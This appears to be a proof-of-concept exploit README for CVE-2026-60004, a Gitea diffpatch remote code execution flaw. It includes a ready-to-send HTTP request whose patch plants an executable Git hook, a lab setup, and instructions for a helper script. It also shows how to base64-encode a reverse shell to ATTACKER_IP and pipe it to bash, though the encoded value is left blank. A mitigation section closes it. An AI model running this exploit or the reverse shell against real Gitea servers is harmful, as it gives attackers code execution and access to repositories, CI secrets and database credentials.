Share
## https://sploitus.com/exploit?id=BB96140C-69F0-5F32-933C-46EC923F907C
# CVE-2026-60004 Gitea diffpatch RCE

โ˜… CVE-2026-60004 Gitea `diffpatch` Git Hook RCE PoC โ˜…



# Overview
> **CVE-2026-60004** is a **Remote Code Execution (RCE)** vulnerability in **Gitea**.
> The `diffpatch` API applies a supplied patch with `git apply --cached`, which should only touch the index and never write files to disk.
> By sending the **same patch twice**, an attacker forces an add/add collision that triggers Git's **three-way merge fallback (`-3`)**. That path ignores `--cached` and checks the file out to the working tree.
> Because the temporary clone is **bare**, its working tree root is `$GIT_DIR`. A patch that creates an executable `hooks/post-index-change` therefore lands a live Git hook, which Git runs automatically on the next index update โ€” executing commands as the Gitea service account.
> The endpoint needs repository write access, but registration is enabled by default, so any user who can sign up and create a repository can reach it.



# Affected Versions
| Category | Version |
|---|---|
| **Vulnerable** | Gitea **1.17 โ‰ค version โ‰ค 1.27.0** |
| **Patched** | Gitea **1.27.1 or later** |



# Impact
- Remote Code Execution as the Gitea service account (`git`)
- Access to all hosted repositories, CI secrets, and database credentials
- No outbound callback required (output can be returned through Git objects)



# Environment
Build and run the vulnerable Gitea environment. Registration is left open and the
server ships Git 2.32+, which enables the `-3` fallback the attack relies on.

```bash
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
```

| Precondition | State in this lab |
|---|---|
| Gitea 1.17 โ€“ 1.27.0 | 1.27.0 |
| Git 2.32+ on the server (enables `-3`) | 2.54 |
| Open registration | enabled (default) |
| Repository write access | via self-registered account |



# PoC
## Step 1. Create an account and repository

Register a normal account through the web UI (`/user/sign_up`), then create a
repository with **Initialize Repository** checked so the `main` branch exists.

## Step 2. Deliver the malicious patch

The attack submits the **same patch two or three times** to
`POST /api/v1/repos/{owner}/{repo}/diffpatch`. The patch creates an executable
`hooks/post-index-change`; the repeated send forces the `-3` fallback to write
it to `$GIT_DIR/hooks/`, where it becomes a live hook.

Two equivalent ways to deliver the patch.

### Option A โ€” Burp Repeater (manual)

Send any request from the web UI, then in Burp Repeater replace it with the
request below. Fill `Authorization` with `base64(user:password)` and press
**Send twice** (the repeated send is what triggers the `-3` fallback).

```http
POST /api/v1/repos/USER/REPO/diffpatch HTTP/1.1
Host: TARGET_IP:3000
Authorization: Basic BASE64_USER_PASS
Content-Type: application/json

{"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..fbb1ab230ec0efcad0c15aadae19b160982c41c1\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,2 @@\n+#!/bin/sh\n+id > /tmp/PWNED 2>&1\n", "message": "apply", "branch": "main"}
```

The hook body here just runs `id` as a proof of execution. To run a different
command, put it inside the hook instead of `id > /tmp/PWNED 2>&1`.

For a command that contains quotes or shell metacharacters (a reverse shell, for
example), base64-encode it so nothing breaks when it is embedded in the diff:

```bash
echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64
```

Then use the encoded string as the hook command:

```
echo  | base64 -d | bash
```

The `index` blob hash in the diff is bound to the hook content, so after
changing the command you must recompute it โ€” `gitea_exploit.py` does this
automatically (Option B).

### Option B โ€” script

`gitea_exploit.py` builds the patch (recomputing the blob hash for whatever
command you pass) and submits it repeatedly.

```bash
python3 gitea_exploit.py \
  --url http://TARGET_IP:3000 \
  --user USER --pw PASSWORD --repo REPO \
  --cmd "echo  | base64 -d | bash"
```

## Step 3. Confirm the result

The hook runs as the `git` service account.

```bash
docker exec cve-2026-60004 cat /tmp/PWNED
# uid=1000(git) gid=1000(git) groups=1000(git)
```



# Mitigation
- Upgrade Gitea to 1.27.1 or later
- Disable open registration if not required (`DISABLE_REGISTRATION=true`)
- Restrict who can reach the instance and create repositories



# Analysis
- KR:
- EN: